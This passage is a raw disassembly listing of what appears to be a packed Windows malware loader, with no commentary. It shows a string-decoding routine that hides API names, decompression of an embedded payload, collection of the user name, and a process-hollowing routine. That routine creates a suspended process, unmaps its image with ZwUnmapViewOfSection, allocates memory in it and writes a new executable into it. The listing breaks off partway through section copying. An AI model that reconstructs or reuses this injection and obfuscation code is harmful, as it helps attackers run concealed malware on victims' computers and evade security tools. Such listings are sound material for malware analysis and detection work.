ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp mov ecx, 8 loc_4064CC: ; CODE XREF: sub_4064C4+Dj push 0 push 0 dec ecx jnz short loc_4064CC push ebx xor eax, eax push ebp push offset loc_40678F push dword ptr fs:[eax] mov fs:[eax], esp call sub_406350 call sub_4051EC cmp byte ptr ds:dword_40A77C, 0 jz short loc_4064FA call sub_4053C4 loc_4064FA: ; CODE XREF: sub_4064C4+2Fj call sub_403668 ; GetThreadLocale mov ebx, eax lea eax, [ebp+var_10] push eax xor ecx, ecx mov edx, 14h mov eax, ebx call sub_40513C mov edx, [ebp+var_10] mov eax, offset dword_40A6B0 call sub_40261C lea eax, [ebp+var_14] push eax mov ecx, offset dword_4067A4 mov edx, 1Bh mov eax, ebx call sub_40513C mov eax, [ebp+var_14] xor edx, edx call sub_4043F0 mov ds:byte_40A6B4, al lea eax, [ebp+var_18] push eax mov ecx, offset dword_4067A4 mov edx, 1Ch mov eax, ebx call sub_40513C mov eax, [ebp+var_18] xor edx, edx call sub_4043F0 mov ds:byte_40A6B5, al mov cl, 2Ch mov edx, 0Fh mov eax, ebx call sub_405188 mov ds:byte_40A6B6, al mov cl, 2Eh mov edx, 0Eh mov eax, ebx call sub_405188 mov ds:byte_40A6B7, al lea eax, [ebp+var_1C] push eax mov ecx, offset dword_4067A4 mov edx, 19h mov eax, ebx call sub_40513C mov eax, [ebp+var_1C] xor edx, edx call sub_4043F0 mov ds:byte_40A6B8, al mov cl, 2Fh mov edx, 1Dh mov eax, ebx call sub_405188 mov ds:byte_40A6B9, al lea eax, [ebp+var_24] push eax mov ecx, offset dword_4067B0 mov edx, 1Fh mov eax, ebx call sub_40513C mov eax, [ebp+var_24] lea edx, [ebp+var_20] call sub_405474 mov edx, [ebp+var_20] mov eax, offset dword_40A6BC call sub_40261C lea eax, [ebp+var_2C] push eax mov ecx, offset dword_4067C0 mov edx, 20h mov eax, ebx call sub_40513C mov eax, [ebp+var_2C] lea edx, [ebp+var_28] call sub_405474 mov edx, [ebp+var_28] mov eax, offset dword_40A6C0 call sub_40261C mov cl, 3Ah mov edx, 1Eh mov eax, ebx call sub_405188 mov ds:byte_40A6C4, al lea eax, [ebp+var_30] push eax mov ecx, offset dword_4067D8 mov edx, 28h mov eax, ebx call sub_40513C mov edx, [ebp+var_30] mov eax, offset dword_40A6C8 call sub_40261C lea eax, [ebp+var_34] push eax mov ecx, offset dword_4067E4 mov edx, 29h mov eax, ebx call sub_40513C mov edx, [ebp+var_34] mov eax, offset dword_40A6CC call sub_40261C lea eax, [ebp+var_8] call sub_4025C8 lea eax, [ebp+var_C] call sub_4025C8 lea eax, [ebp+var_38] push eax mov ecx, offset dword_4067A4 mov edx, 25h mov eax, ebx call sub_40513C mov eax, [ebp+var_38] xor edx, edx call sub_4043F0 test eax, eax jnz short loc_4066B8 lea eax, [ebp+var_4] mov edx, offset dword_4067F0 call sub_402660 jmp short loc_4066C5 ; --------------------------------------------------------------------------- loc_4066B8: ; CODE XREF: sub_4064C4+1E3j lea eax, [ebp+var_4] mov edx, offset dword_4067FC call sub_402660 loc_4066C5: ; CODE XREF: sub_4064C4+1F2j lea eax, [ebp+var_3C] push eax mov ecx, offset dword_4067A4 mov edx, 23h mov eax, ebx call sub_40513C mov eax, [ebp+var_3C] xor edx, edx call sub_4043F0 test eax, eax jnz short loc_406727 lea eax, [ebp+var_40] push eax mov ecx, offset dword_4067A4 mov edx, 1005h mov eax, ebx call sub_40513C mov eax, [ebp+var_40] xor edx, edx call sub_4043F0 test eax, eax jnz short loc_40671A lea eax, [ebp+var_C] mov edx, offset dword_406808 call sub_402660 jmp short loc_406727 ; --------------------------------------------------------------------------- loc_40671A: ; CODE XREF: sub_4064C4+245j lea eax, [ebp+var_8] mov edx, offset dword_406818 call sub_402660 loc_406727: ; CODE XREF: sub_4064C4+222j ; sub_4064C4+254j push [ebp+var_8] push [ebp+var_4] push offset dword_406828 push [ebp+var_C] mov eax, offset dword_40A6D0 mov edx, 4 call sub_402900 push [ebp+var_8] push [ebp+var_4] push offset dword_406834 push [ebp+var_C] mov eax, offset dword_40A6D4 mov edx, 4 call sub_402900 mov cl, 2Ch mov edx, 0Ch mov eax, ebx call sub_405188 mov byte ptr ds:dword_40A77C+2, al xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_406796 loc_406781: ; CODE XREF: sub_4064C4+2D0j lea eax, [ebp+var_40] mov edx, 10h call sub_4025EC retn ; --------------------------------------------------------------------------- loc_40678F: ; DATA XREF: sub_4064C4+13o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_406781 ; --------------------------------------------------------------------------- loc_406796: ; CODE XREF: sub_4064C4+2CAj ; DATA XREF: sub_4064C4+2B8o pop ebx mov esp, ebp pop ebp retn sub_4064C4 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 1 dword_4067A4 dd 30h, 0FFFFFFFFh, 6 ; sub_4064C4+84o ... dword_4067B0 dd 2F642F6Dh, 7979h, 0FFFFFFFFh, 0Chdword_4067C0 dd 6D6D6D6Dh, 202C6420h, 79797979h, 0 dd 0FFFFFFFFh, 2 dword_4067D8 dd 6D61h, 0FFFFFFFFh, 2dword_4067E4 dd 6D70h, 0FFFFFFFFh, 1dword_4067F0 dd 68h, 0FFFFFFFFh, 2dword_4067FC dd 6868h, 0FFFFFFFFh, 5dword_406808 dd 504D4120h, 4Dh, 0FFFFFFFFh, 5dword_406818 dd 4D504D41h, 20h, 0FFFFFFFFh, 3dword_406828 dd 6D6D3Ah, 0FFFFFFFFh, 6dword_406834 dd 3A6D6D3Ah, 7373h ; =============== S U B R O U T I N E ======================================= sub_40683C proc near ; CODE XREF: sub_406B98+27p push ebx mov ebx, offset dword_409294 jmp short loc_406854 ; --------------------------------------------------------------------------- loc_406844: ; CODE XREF: sub_40683C+1Bj mov eax, [ebx] mov edx, [eax] mov [ebx], edx mov edx, 8 call sub_401218 loc_406854: ; CODE XREF: sub_40683C+6j cmp dword ptr [ebx], 0 jnz short loc_406844 pop ebx retn sub_40683C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40685C proc near ; CODE XREF: sub_406D18+50p push ebx push offset dword_406894 call sub_403648 ; GetModuleHandleA mov ebx, eax test ebx, ebx jz short loc_40687D push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push ebx call sub_403650 ; GetProcAddress mov ds:dword_4090EC, eax loc_40687D: ; CODE XREF: sub_40685C+Fj cmp ds:dword_4090EC, 0 jnz short loc_406890 mov eax, offset sub_404520 mov ds:dword_4090EC, eax loc_406890: ; CODE XREF: sub_40685C+28j pop ebx retn sub_40685C endp ; --------------------------------------------------------------------------- align 4 dword_406894 dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_40685C+11o ; =============== S U B R O U T I N E ======================================= sub_4068B8 proc near ; CODE XREF: sub_406B98+22p mov edx, [eax] xor ecx, ecx mov [eax], ecx mov eax, edx call sub_401F50 retn sub_4068B8 endp ; --------------------------------------------------------------------------- align 4 dword_4068C8 dd 1Dh dd offset dword_40928C dd offset off_4093A4 dd offset dword_409284 dd offset off_409360 dd offset dword_40927C dd offset off_4092D8 dd offset dword_409274 dd offset off_4093B4 dd offset dword_40926C dd offset off_4093C8 dd offset dword_409264 dd offset off_409328 dd offset dword_40925C dd offset off_409358 dd offset dword_409254 dd offset off_4092BC dd offset dword_40924C dd offset off_409368 dd offset dword_409244 dd offset off_409374 dd offset dword_40923C dd offset off_409340 dd offset dword_409234 dd offset off_409344 dd offset dword_40922C dd offset off_4093EC dd offset dword_409224 dd offset off_4093E4 dd offset dword_40921C dd offset off_409408 dd offset dword_409214 dd offset off_409398 dd offset dword_40920C dd offset off_409388 dd offset dword_409204 dd offset off_40940C dd offset dword_4091FC dd offset off_4093FC dd offset dword_4091F4 dd offset off_409350 dd offset dword_4091EC dd offset off_4093F0 dd offset dword_4091E4 dd offset off_4093F4 dd offset dword_4091DC dd offset off_409310 dd offset dword_4091D4 dd offset off_4092EC dd offset dword_4091CC dd offset off_409384 dd offset dword_4091C4 dd offset off_4093B0 dd offset dword_4091BC dd offset off_4092C0 dd offset dword_4091B4 dd offset off_4093E8 dd offset dword_4091AC dd offset off_40934C dword_4069B4 dd 28h dd offset off_4091A4 dd offset off_4093DC dd 0 dd offset off_4091A0 dd offset off_4092DC align 10h dd offset off_40919C dd offset off_4093AC dd 0 dd offset off_409198 dd offset off_4092CC align 8 dd offset off_409194 dd offset off_4092F8 dd 0 dd offset off_409190 dd offset off_4092F0 align 10h dd offset off_40918C dd offset off_4092E4 dd 0 dd offset off_409188 dd offset off_409348 align 8 dd offset off_409184 dd offset off_409394 dd 0 dd offset off_409180 dd offset off_4092F4 align 10h dd offset off_40917C dd offset off_409380 dd 0 dd offset off_409178 dd offset off_4093C4 align 8 dd offset off_409174 dd offset off_4093BC dd 0 dd offset off_409170 dd offset off_40939C align 10h dd offset off_40916C dd offset off_40933C dd 0 dd offset off_409168 dd offset off_409324 align 8 dd offset off_409164 dd offset off_4092C8 dd 0 dd offset off_409160 dd offset off_4093B8 align 10h dd offset off_40915C dd offset off_409370 dd 0 dd offset off_409158 dd offset off_40931C align 8 dd offset off_409154 dd offset off_409364 dd 0 dd offset off_409150 dd offset off_40938C align 10h dd offset off_40914C dd offset off_40936C dd 0 dd offset off_409148 dd offset off_409330 align 8 dd offset off_409144 dd offset off_4092C4 dd 0 dd offset off_409140 dd offset off_40935C align 10h dd offset off_40913C dd offset off_4093F8 dd 0 dd offset off_409138 dd offset off_4093D8 align 8 dd offset off_409134 dd offset off_40937C dd 0 dd offset off_409130 dd offset off_40930C align 10h dd offset off_40912C dd offset off_4092D0 dd 0 dd offset off_409128 dd offset off_4093D0 align 8 dd offset off_409124 dd offset off_409414 dd 0 dd offset off_409120 dd offset off_4092E8 align 10h dd offset off_40911C dd offset off_4092B8 dd 0 dd offset off_409118 dd offset off_4093E0 align 8 dd offset off_409114 dd offset off_409378 dd 0 dd offset off_409110 dd offset off_409400 align 10h dd offset off_4090FC dd offset off_409354 dd 0 dd offset off_4090F8 dd offset off_409314 align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406B98 proc near ; DATA XREF: CODE:00407B5Co push ebp mov ebp, esp xor eax, eax push ebp push offset loc_406D0D push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_40A7C0 jnz loc_406CFF mov eax, offset dword_40A7CC call sub_4068B8 call sub_40683C call sub_406028 mov eax, offset off_4091E0 mov ecx, 16h mov edx, off_405B00 call sub_402C70 mov eax, offset dword_4091A8 mov ecx, 7 mov edx, off_405A80 call sub_402C70 mov eax, offset off_4090F0 mov ecx, 2 mov edx, off_401000 call sub_402C70 mov eax, offset off_4090E8 call sub_4025C8 mov eax, offset dword_40A7BC mov edx, off_40439C call sub_402E80 mov eax, offset dword_40A7B8 mov edx, off_404378 call sub_402E80 mov eax, offset dword_40A780 mov ecx, 7 mov edx, off_401000 call sub_402C70 mov eax, offset dword_40A754 mov ecx, 7 mov edx, off_401000 call sub_402C70 mov eax, offset dword_40A738 mov ecx, 7 mov edx, off_401000 call sub_402C70 mov eax, offset dword_40A708 mov ecx, 0Ch mov edx, off_401000 call sub_402C70 mov eax, offset dword_40A6D8 mov ecx, 0Ch mov edx, off_401000 call sub_402C70 mov eax, offset dword_40A6D4 call sub_4025C8 mov eax, offset dword_40A6D0 call sub_4025C8 mov eax, offset dword_40A6CC call sub_4025C8 mov eax, offset dword_40A6C8 call sub_4025C8 mov eax, offset dword_40A6C0 call sub_4025C8 mov eax, offset dword_40A6BC call sub_4025C8 mov eax, offset dword_40A6B0 call sub_4025C8 mov eax, offset dword_4090C4 call sub_4025C8 mov eax, offset dword_4090B0 call sub_402C24 mov eax, offset dword_4090AC call sub_4025C8 loc_406CFF: ; CODE XREF: sub_406B98+17j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_406D14 loc_406D0C: ; CODE XREF: sub_406B98+17Aj retn ; --------------------------------------------------------------------------- loc_406D0D: ; DATA XREF: sub_406B98+6o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_406D0C ; --------------------------------------------------------------------------- loc_406D14: ; CODE XREF: sub_406B98:loc_406D0Cj ; DATA XREF: sub_406B98+16Fo pop ebp retn sub_406B98 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406D18 proc near ; DATA XREF: CODE:00407B58o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_406D80 push dword ptr fs:[eax] mov fs:[eax], esp sub ds:dword_40A7C0, 1 jnb short loc_406D72 mov eax, offset dword_4068C8 call sub_402464 mov eax, offset dword_4069B4 call sub_40248C cmp ds:byte_40A689, 0 jz short loc_406D5E mov eax, offset off_4090E8 mov edx, offset dword_406D94 call sub_40261C loc_406D5E: ; CODE XREF: sub_406D18+35j call sub_405FA4 call sub_406094 call sub_40685C call sub_4064C4 loc_406D72: ; CODE XREF: sub_406D18+18j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_406D87 loc_406D7F: ; CODE XREF: sub_406D18+6Dj retn ; --------------------------------------------------------------------------- loc_406D80: ; DATA XREF: sub_406D18+6o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_406D7F ; --------------------------------------------------------------------------- loc_406D87: ; CODE XREF: sub_406D18:loc_406D7Fj ; DATA XREF: sub_406D18+62o pop ebp retn sub_406D18 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 2 dword_406D94 dd 7830h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406D98 proc near ; CODE XREF: sub_406DAC+7Fp jmp ds:dword_40B210 sub_406D98 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_406DA0 proc near ; CODE XREF: sub_406DAC+25p ; sub_406E6C+31p ... test eax, eax jz short locret_406DA9 sub eax, 4 mov eax, [eax] locret_406DA9: ; CODE XREF: sub_406DA0+2j retn sub_406DA0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406DAC proc near ; CODE XREF: CODE:00407D0Ap var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi push edi mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] call sub_402A28 xor eax, eax push ebp push offset loc_406E59 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+arg_4] call sub_406DA0 mov ebx, eax cmp ebx, 4 jbe short loc_406E3C lea eax, [ebp+arg_4] call sub_402A8C mov edi, eax mov edx, [edi] mov eax, esi call sub_402BC0 cmp dword ptr [edi], 80000h jbe short loc_406E01 mov [ebp+var_8], 2 jmp short loc_406E08 ; --------------------------------------------------------------------------- loc_406E01: ; CODE XREF: sub_406DAC+4Aj mov [ebp+var_8], 102h loc_406E08: ; CODE XREF: sub_406DAC+53j lea eax, [ebp+var_4] push eax sub ebx, 4 push ebx lea eax, [ebp+arg_4] call sub_402A8C add eax, 4 push eax mov eax, [edi] push eax mov eax, esi call sub_402A8C push eax mov eax, [ebp+var_8] push eax call sub_406D98 ; RtlDecompressBuffer mov eax, esi mov edx, [ebp+var_4] call sub_402BC0 jmp short loc_406E43 ; --------------------------------------------------------------------------- loc_406E3C: ; CODE XREF: sub_406DAC+2Fj mov eax, esi call sub_4025C8 loc_406E43: ; CODE XREF: sub_406DAC+8Ej xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_406E60 loc_406E50: ; CODE XREF: sub_406DAC+B2j lea eax, [ebp+arg_4] call sub_4025C8 retn ; --------------------------------------------------------------------------- loc_406E59: ; DATA XREF: sub_406DAC+17o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_406E50 ; --------------------------------------------------------------------------- loc_406E60: ; CODE XREF: sub_406DAC+ACj ; DATA XREF: sub_406DAC+9Fo pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn 8 sub_406DAC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406E6C proc near ; CODE XREF: CODE:00407D17p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp add esp, 0FFFFFFF4h push ebx push esi push edi xor eax, eax mov [ebp+var_C], eax mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] call sub_402A28 xor eax, eax push ebp push offset loc_406F2F push dword ptr fs:[eax] mov fs:[eax], esp mov eax, esi call sub_4025C8 mov eax, [ebp+arg_4] call sub_406DA0 mov [ebp+var_8], eax mov ebx, 1 cmp ebx, [ebp+var_8] ja short loc_406F11 loc_406EAF: ; CODE XREF: sub_406E6C+A3j mov eax, [ebp+arg_4] mov al, [eax+ebx-1] test al, al jnz short loc_406EF2 mov eax, [ebp+arg_4] mov al, [eax+ebx] mov [ebp+var_1], al mov eax, [esi] call sub_406DA0 mov edi, eax xor edx, edx mov dl, [ebp+var_1] add edx, edi mov eax, esi call sub_402BC0 mov eax, esi call sub_402A8C add eax, edi xor edx, edx mov dl, [ebp+var_1] xor ecx, ecx call sub_401964 inc ebx jmp short loc_406F0B ; --------------------------------------------------------------------------- loc_406EF2: ; CODE XREF: sub_406E6C+4Cj lea eax, [ebp+var_C] mov edx, [ebp+arg_4] mov dl, [edx+ebx-1] call sub_40278C mov edx, [ebp+var_C] mov eax, esi call sub_402848 loc_406F0B: ; CODE XREF: sub_406E6C+84j inc ebx cmp ebx, [ebp+var_8] jbe short loc_406EAF loc_406F11: ; CODE XREF: sub_406E6C+41j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_406F36 loc_406F1E: ; CODE XREF: sub_406E6C+C8j lea eax, [ebp+var_C] call sub_4025C8 lea eax, [ebp+arg_4] call sub_4025C8 retn ; --------------------------------------------------------------------------- loc_406F2F: ; DATA XREF: sub_406E6C+1Co jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_406F1E ; --------------------------------------------------------------------------- loc_406F36: ; CODE XREF: sub_406E6C+C2j ; DATA XREF: sub_406E6C+ADo pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 sub_406E6C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406F40 proc near ; DATA XREF: CODE:00407B64o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_406F65 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_40A7D0 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_406F6C loc_406F64: ; CODE XREF: sub_406F40+2Aj retn ; --------------------------------------------------------------------------- loc_406F65: ; DATA XREF: sub_406F40+6o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_406F64 ; --------------------------------------------------------------------------- loc_406F6C: ; CODE XREF: sub_406F40:loc_406F64j ; DATA XREF: sub_406F40+1Fo pop ebp retn sub_406F40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_406F70 proc near ; DATA XREF: CODE:00407B60o sub ds:dword_40A7D0, 1 retn sub_406F70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406F78 proc near ; CODE XREF: sub_4070E0+35Ap jmp ds:dword_40B220 sub_406F78 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406F80 proc near ; CODE XREF: sub_4070E0+28Ap jmp ds:dword_40B218 sub_406F80 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_406F88 proc near ; CODE XREF: CODE:loc_407F33p push ebx xor ebx, ebx mov eax, offset aAddFileLocatio ; "add file location" call sub_404488 test al, al jz short loc_406F9B mov bl, 1 loc_406F9B: ; CODE XREF: sub_406F88+Fj mov eax, ebx pop ebx retn sub_406F88 endp ; --------------------------------------------------------------------------- align 10h dd 0FFFFFFFFh, 11h aAddFileLocatio db 'add file location',0 ; DATA XREF: sub_406F88+3o align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406FBC proc near ; CODE XREF: CODE:00407F46p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx xor edx, edx mov [ebp+var_4], edx mov ebx, eax xor eax, eax push ebp push offset loc_407029 push dword ptr fs:[eax] mov fs:[eax], esp mov [ebp+var_8], 0FDh lea eax, [ebp+var_4] mov edx, 0FEh call sub_402BC0 lea eax, [ebp+var_8] push eax mov eax, [ebp+var_4] call sub_402A38 push eax call sub_4035D8 ; GetUserNameA lea eax, [ebp+var_4] mov edx, [ebp+var_8] call sub_402BC0 mov eax, ebx mov edx, [ebp+var_4] call sub_40261C xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_407030 loc_407020: ; CODE XREF: sub_406FBC+72j lea eax, [ebp+var_4] call sub_4025C8 retn ; --------------------------------------------------------------------------- loc_407029: ; DATA XREF: sub_406FBC+11o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_407020 ; --------------------------------------------------------------------------- loc_407030: ; CODE XREF: sub_406FBC+6Cj ; DATA XREF: sub_406FBC+5Fo pop ebx pop ecx pop ecx pop ebp retn sub_406FBC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407038 proc near ; CODE XREF: sub_4070E0+83p ; sub_4070E0+AAp ... var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF4h push ebx push esi push edi xor ecx, ecx mov [ebp+var_C], ecx mov esi, edx mov [ebp+var_4], eax mov eax, [ebp+var_4] call sub_402A28 xor eax, eax push ebp push offset loc_4070B8 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] call sub_402840 mov ebx, eax test ebx, ebx jle short loc_40709A mov edi, 1 loc_407074: ; CODE XREF: sub_407038+60j mov eax, [ebp+var_4] mov al, [eax+edi-1] mov [ebp+var_5], al lea eax, [ebp+var_C] mov dl, [ebp+var_5] sub dl, 31h call sub_40278C mov edx, [ebp+var_C] mov eax, esi call sub_402848 inc edi dec ebx jnz short loc_407074 loc_40709A: ; CODE XREF: sub_407038+35j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4070BF loc_4070A7: ; CODE XREF: sub_407038+85j lea eax, [ebp+var_C] call sub_4025C8 lea eax, [ebp+var_4] call sub_4025C8 retn ; --------------------------------------------------------------------------- loc_4070B8: ; DATA XREF: sub_407038+1Eo jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_4070A7 ; --------------------------------------------------------------------------- loc_4070BF: ; CODE XREF: sub_407038+7Fj ; DATA XREF: sub_407038+6Ao pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_407038 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4070C8 proc near ; CODE XREF: sub_4070E0+2FBp lea edx, [eax+18h] movzx eax, word ptr [eax+14h] add edx, eax mov eax, edx retn sub_4070C8 endp ; =============== S U B R O U T I N E ======================================= sub_4070D4 proc near ; CODE XREF: sub_4070E0+343p shr eax, 1Dh mov eax, ds:dword_409298[eax*4] retn sub_4070D4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4070E0 proc near ; CODE XREF: CODE:00407F7Ep var_188 = dword ptr -188h var_184 = dword ptr -184h var_180 = dword ptr -180h var_17C = dword ptr -17Ch var_178 = dword ptr -178h var_174 = dword ptr -174h var_170 = dword ptr -170h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_C0 = dword ptr -0C0h var_B4 = dword ptr -0B4h var_98 = dword ptr -98h var_68 = word ptr -68h var_54 = dword ptr -54h var_50 = dword ptr -50h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_21 = byte ptr -21h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 8 push ebp mov ebp, esp add esp, 0FFFFFE78h push ebx push esi push edi xor ebx, ebx mov [ebp+var_188], ebx mov [ebp+var_184], ebx mov [ebp+var_180], ebx mov [ebp+var_17C], ebx mov [ebp+var_178], ebx mov [ebp+var_174], ebx mov [ebp+var_170], ebx mov [ebp+var_16C], ebx mov [ebp+var_168], ebx mov [ebp+var_C], ecx mov [ebp+var_8], edx mov [ebp+var_4], eax mov eax, [ebp+var_8] call sub_402A28 mov eax, [ebp+var_C] call sub_402A28 xor eax, eax push ebp push offset loc_4074EE push dword ptr fs:[eax] mov fs:[eax], esp push offset dword_407500 call sub_403678 ; LoadLibraryA mov [ebp+var_40], eax lea edx, [ebp+var_168] mov eax, offset dword_407518 call sub_407038 mov eax, [ebp+var_168] call sub_402A38 push eax mov eax, [ebp+var_40] push eax call sub_403650 ; GetProcAddress mov ebx, eax lea edx, [ebp+var_16C] mov eax, offset dword_407530 call sub_407038 mov eax, [ebp+var_16C] call sub_402A38 push eax mov eax, [ebp+var_40] push eax call ebx mov [ebp+var_3C], eax lea edx, [ebp+var_170] mov eax, offset dword_407544 call sub_407038 mov eax, [ebp+var_170] call sub_402A38 push eax mov eax, [ebp+var_40] push eax call ebx mov esi, eax lea edx, [ebp+var_174] mov eax, offset aXceesgctxtaqec ; "x–¥…™£–’•t Ÿ¥–©¥" call sub_407038 mov eax, [ebp+var_174] call sub_402A38 push eax mov eax, [ebp+var_40] push eax call ebx mov edi, eax lea edx, [ebp+var_178] mov eax, offset aGctxbgafcddCua ; "ƒ–’•£ ”–¤¤~–ž £ª" call sub_407038 mov eax, [ebp+var_178] call sub_402A38 push eax mov eax, [ebp+var_40] push eax call ebx mov [ebp+var_28], eax lea edx, [ebp+var_17C] mov eax, offset dword_407594 call sub_407038 mov eax, [ebp+var_17C] call sub_402A38 push eax mov eax, [ebp+var_40] push eax call ebx mov [ebp+var_2C], eax lea edx, [ebp+var_180] mov eax, offset aIgEcbgafcddCua ; "ˆ£š¥–£ ”–¤¤~–ž £ª" call sub_407038 mov eax, [ebp+var_180] call sub_402A38 push eax mov eax, [ebp+var_40] push eax call ebx mov [ebp+var_30], eax lea edx, [ebp+var_184] mov eax, offset aDceesgctxtaqec ; "„–¥…™£–’•t Ÿ¥–©¥" call sub_407038 mov eax, [ebp+var_184] call sub_402A38 push eax mov eax, [ebp+var_40] push eax call ebx mov [ebp+var_34], eax lea edx, [ebp+var_188] mov eax, offset dword_4075E4 call sub_407038 mov eax, [ebp+var_188] call sub_402A38 push eax mov eax, [ebp+var_40] push eax call ebx mov [ebp+var_38], eax xor ebx, ebx lea eax, [ebp+var_54] xor ecx, ecx mov edx, 10h call sub_401964 lea eax, [ebp+var_98] xor ecx, ecx mov edx, 44h call sub_401964 mov [ebp+var_98], 44h xor eax, eax mov al, [ebp+arg_0] mov [ebp+var_68], ax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_98] push eax push 0 push 0 push 4 push 0 push 0 push 0 mov eax, [ebp+var_C] call sub_402A38 push eax mov eax, [ebp+var_8] call sub_402A38 push eax call esi test eax, eax jz loc_4074C3 mov [ebp+var_21], 1 xor eax, eax push ebp push offset loc_4074B5 push dword ptr fs:[eax] mov fs:[eax], esp mov [ebp+var_164], 10002h lea eax, [ebp+var_164] push eax mov eax, [ebp+var_50] push eax call edi test eax, eax jz loc_40748A lea eax, [ebp+var_14] push eax push 4 lea eax, [ebp+var_10] push eax mov eax, [ebp+var_C0] add eax, 8 push eax mov eax, [ebp+var_54] push eax call [ebp+var_28] test eax, eax jz loc_40748A mov eax, [ebp+var_10] push eax mov eax, [ebp+var_54] push eax call sub_406F80 ; ZwUnmapViewOfSection test eax, eax jl loc_40748A cmp [ebp+var_4], 0 jz loc_40748A mov eax, [ebp+var_4] mov eax, [eax+3Ch] add eax, [ebp+var_4] mov [ebp+var_20], eax push 4 push 3000h mov eax, [ebp+var_20] mov eax, [eax+50h] push eax mov eax, [ebp+var_20] mov eax, [eax+34h] push eax mov eax, [ebp+var_54] push eax call [ebp+var_2C] mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz loc_40748A lea eax, [ebp+var_18] push eax mov eax, [ebp+var_20] mov eax, [eax+54h] push eax mov eax, [ebp+var_4] push eax mov eax, [ebp+var_10] push eax mov eax, [ebp+var_54] push eax call [ebp+var_30] test eax, eax jz loc_40748A mov eax, [ebp+var_20] call sub_4070C8 mov esi, eax mov eax, [ebp+var_20] movzx eax, word ptr [eax+6] dec eax test eax, eax jb short loc_407445 inc eax mov [ebp+var_44], eax xor ebx, ebx loc_4073F4: ; CODE XREF: sub_4070E0+363j 